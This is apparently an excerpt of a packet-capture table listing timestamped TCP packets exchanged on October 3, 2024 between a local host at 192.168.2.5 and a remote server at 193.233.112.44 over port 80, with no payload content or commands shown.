Oct 3, 2024 23:17:09.281619072 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281645060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281651020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281675100 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281686068 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281711102 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281716108 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281744003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281753063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281780005 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281785011 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281825066 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281919003 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281951904 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281964064 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.281985044 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.281992912 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282018900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282027960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282053947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282058954 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282088041 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282095909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282128096 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282294989 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282325983 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282350063 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282360077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282361984 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282388926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282402992 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282430887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282452106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282484055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282511950 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282516956 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282530069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282552004 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282557964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282592058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282696009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282727957 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282742023 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282768965 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282777071 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282810926 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282821894 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282844067 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282850027 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282876968 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282885075 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282911062 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282918930 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282944918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282953024 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.282979012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.282985926 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283024073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283339024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283370972 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283421993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283452988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283485889 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283494949 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283518076 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283531904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283552885 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283560991 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283593893 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283813953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283847094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283866882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283879995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283888102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283914089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283915997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283946991 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283955097 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.283986092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.283987045 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284019947 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284029961 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284053087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284063101 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284086943 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284092903 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284121037 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284126997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284156084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284164906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284197092 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284460068 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284492016 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284512997 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284524918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284533978 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284559011 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284567118 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284594059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.284598112 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.284635067 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334173918 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334239960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334249973 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334295034 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334304094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334338903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334347963 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334373951 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334382057 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334405899 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334418058 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334441900 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334446907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334482908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334485054 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334512949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334528923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334554911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334567070 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334599018 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334605932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334630966 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334642887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334671974 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334700108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334733009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334742069 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334773064 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334774017 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334804058 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334815979 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334836960 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334846020 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334872007 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334875107 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334901094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334913969 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334934950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334942102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334968090 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.334975004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.334999084 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335007906 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335033894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335038900 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335068941 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335084915 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335108995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335114002 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335145950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335165977 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335181952 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335182905 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335215092 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335222960 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335249901 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335251093 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335285902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335294962 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335330009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.335495949 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.335542917 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353152990 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353204012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353223085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353238106 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353255987 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353296995 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353331089 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353334904 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353364944 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353398085 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353429079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353466988 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353492975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353492975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353492975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353492975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353492975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353512049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353518009 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353552103 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353560925 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353585958 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353591919 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353620052 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353626966 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353653908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353662014 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353684902 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353694916 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353719950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353725910 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353754997 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353760004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353796959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353862047 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353895903 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353904009 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353930950 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353936911 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.353961945 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.353971004 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354007959 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354207993 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354240894 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354250908 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354274035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354279995 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354309082 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354314089 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354343891 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354350090 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354377031 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354384899 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354412079 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354417086 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354446888 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354451895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354481936 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354487896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354511976 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354522943 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354547024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354551077 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354581118 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354587078 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354615927 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354620934 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354662895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354810953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354844093 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354866028 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354881048 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.354883909 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.354922056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372349024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372404099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372437954 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372458935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372471094 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372473001 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372488022 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372510910 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372512102 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372550964 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372564077 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372598886 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372613907 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372633934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372641087 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372668028 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372682095 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372700930 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372708082 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372735977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372742891 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372771025 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372776031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372808933 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372811079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372844934 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.372849941 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372886896 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.372982979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373017073 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373023987 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373050928 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373055935 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373085022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373091936 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373121977 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373125076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373157024 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373162985 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373193979 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373197079 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373236895 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373437881 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373471022 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373491049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373503923 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373511076 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373538971 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373548031 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373572111 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373579025 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373606920 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373613119 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373640060 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.373646021 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.373678923 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405445099 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405493975 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405518055 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405556917 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405590057 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405622959 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405654907 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405690908 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405704975 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405742884 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405828953 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405858994 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405881882 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405893087 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405905008 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405927896 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.405940056 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405972958 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.405977964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406013012 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406025887 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406052113 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406059980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406086922 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406099081 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406119108 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406133890 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406152964 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406167030 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406188965 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406199932 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406223059 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406234980 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406269073 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406275034 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406311035 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406321049 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406343937 CEST	80	49710	193.233.112.44	192.168.2.5
Oct 3, 2024 23:17:09.406358957 CEST	49710	80	192.168.2.5	193.233.112.44
Oct 3, 2024 23:17:09.406378984 CEST	80	49710	193.233.112.44	192.168.2.5
